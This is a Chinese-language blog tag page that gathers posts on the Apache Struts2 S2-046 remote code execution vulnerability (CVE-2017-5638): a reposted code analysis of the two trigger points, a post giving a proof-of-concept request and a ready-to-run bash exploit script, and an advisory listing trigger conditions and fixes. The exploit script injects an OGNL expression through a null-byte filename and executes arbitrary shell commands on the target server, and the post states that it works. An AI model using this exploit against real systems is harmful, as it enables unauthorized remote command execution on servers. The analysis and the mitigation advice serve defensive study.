Tag:struts2 046

Tag (struts2 046)'s result:

(转)【漏洞分析】Strust2 S2-046 远程代码执行漏洞两个触发点分析

本文转载自 安全客 ,原文地址:http://bobao.360.cn/learning/detail/3639.html   传送门 【重大漏洞预警】Struts 2 远程代码执行漏洞(s2-045\s2-046) (含PoC) 0x00 漏洞介绍 S2-046漏洞和S2-045漏洞非常相似,都是由报错信息带入了buildErrorMessage这个方法造成的。 但是这次存在两个触发点。 Content-Length 的长度值超长 Content-Disposition的filename存在空字节 0x01 漏洞分析 Content-Length 的长度值超长 这个漏洞需要在strust.xml中加入 <constant name=”struts.multipart.parser” value=”jakarta-stream” />才能触发。 触发漏洞的代码在 JakartaStreamMultiPartRequest类中,processUpload函数处理了content-length长度超长的异常,导致问题触发。 private void processUpload(HttpServletRequest request, String saveDir) throws Exception { // Sanity check that the request is a multi-part/form-data request. if (ServletFileUpload.isMultipartContent(request)) { // Sanity check on request size. boolean requestSizePermitted = isRequestSizePermitted(request); // Interface with Commons FileUpload API // Using the Streaming API ServletFileUpload servletFileUpload = new ServletFileUpload(); FileItemIterator i = servletFileUpload.getItemIterator(request); // Iterate the file items while (i.hasNext()) { try { FileItemStream itemStream = i.next(); // If the file item stream is a form field, delegate to the // field item stream handler if (itemStream.isFormField()) { processFileItemStreamAsFormField(itemStream); } // Delegate the file item stream for a file field to the // file item stream handler, but delegation is skipped // if the requestSizePermitted check failed based on the // complete content-size of the request. else { // prevent processing file field item if request size not allowed. // also warn user in……

struts2-046 poc and exp

据说045补了之后046就没用了,感觉影响没045这么犀利了…… POC:(来源于:https://community.hpe.com/t5/Security-Research/Struts2-046-A-new-vector/ba-p/6949723# ) POST /doUpload.action HTTP/1.1 Host: localhost:8080 Content-Length: 10000000 Content-Type: multipart/form-data; boundary=—-WebKitFormBoundaryAnmUgTEhFhOZpr9z Connection: close ——WebKitFormBoundaryAnmUgTEhFhOZpr9z Content-Disposition: form-data; name=”upload”; filename=”%{#context[‘com.opensymphony.xwork2.dispatcher.HttpServletResponse’].addHeader(‘X-Test’,’Kaboom’)}” Content-Type: text/plain Kaboom ——WebKitFormBoundaryAnmUgTEhFhOZpr9z– EXP: exploit-db.sh:(来源于:https://github.com/jas502n/st2-046-poc) #!/bin/bash url=$1 cmd=$2 shift shift boundary=”—————————735323031399963166993862150″ content_type=”multipart/form-data; boundary=$boundary” payload=$(echo “%{(#nike=’multipart/form-data’).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='”$cmd”‘).(#iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’))).(#cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}”) printf — “–$boundary\r\nContent-Disposition: form-data; name=\”foo\”; filename=\”%s\0b\”\r\nContent-Type: text/plain\r\n\r\nx\r\n–$boundary–\r\n\r\n” “$payload” | curl “$url” -H “Content-Type: $content_type” -H “Expect: ” -H “Connection: close” –data-binary @- $@ 3.友情检测: 此exp可以利用。 希望广大站长及时修补漏洞,避免不必要的损失。  

Apache Struts2再曝RCE漏洞(s2-046 CVE-2017-5638)

1.概述: 这次的s2-046和之前的s2-045相似,也是RCE漏洞,也是BuildErrorMessage,也是执行ognl……,但是攻击向量不同,这次漏洞编号都没变。 2.什么是apache、struts? Apache Struts是美国阿帕奇(Apache)软件基金会负责维护的一个开源项目,是一套用于创建企业级Java Web应用的开源MVC框架。众所周知的SSH框架就是用了struts2。 3.漏洞原因: 使用恶意的Content-Disposition值或者使用不合适的Content-Length头就可能导致RCE。 所以此洞的触发如下: (1)JakartaStreamMultipartRequest已开启。也就是说,Struts2需要通过Jakarta stream parser配置(非默认)。在Struts2配置文件中检查<constant name=”struts.multipart.parser” value=”jakarta-stream” /> (2)上传文件的大小(由Content-Length头指定)大于Struts2允许的最大大小(2GB)。 (3)header中的Content-Disposition中包含空字节。 (4)文件名内容构造恶意的OGNL内容。 官方链接:http://struts.apache.org/docs/s2-046.html 4.修复方案: 4.1.如果你正在使用基于Jakarta的文件上传Multipart解析器,请将Apache Struts升级到2.3.32或2.5.10.1。 4.2.采用其他Mutipart解析器实施方案。Apache提供2个插件作为解决方案(点击这里)——如果使用的是Apache Struts 2.3.8 – 2.5.5或者2.3.20 – 2.5.5版本,即可采用该解决方案。 4.3.从堆中移除File Upload Interceptor,定义自有堆并设为默认(具体怎么做可以点击这里),该解决方案针对Struts 2.5.8 – 2.5.10有效 4.4. 严格过滤 Content-Type 、filename里的内容,严禁ognl表达式相关字段。   5.参考链接: http://www.freebuf.com/vuls/129871.html http://bobao.360.cn/learning/detail/3571.html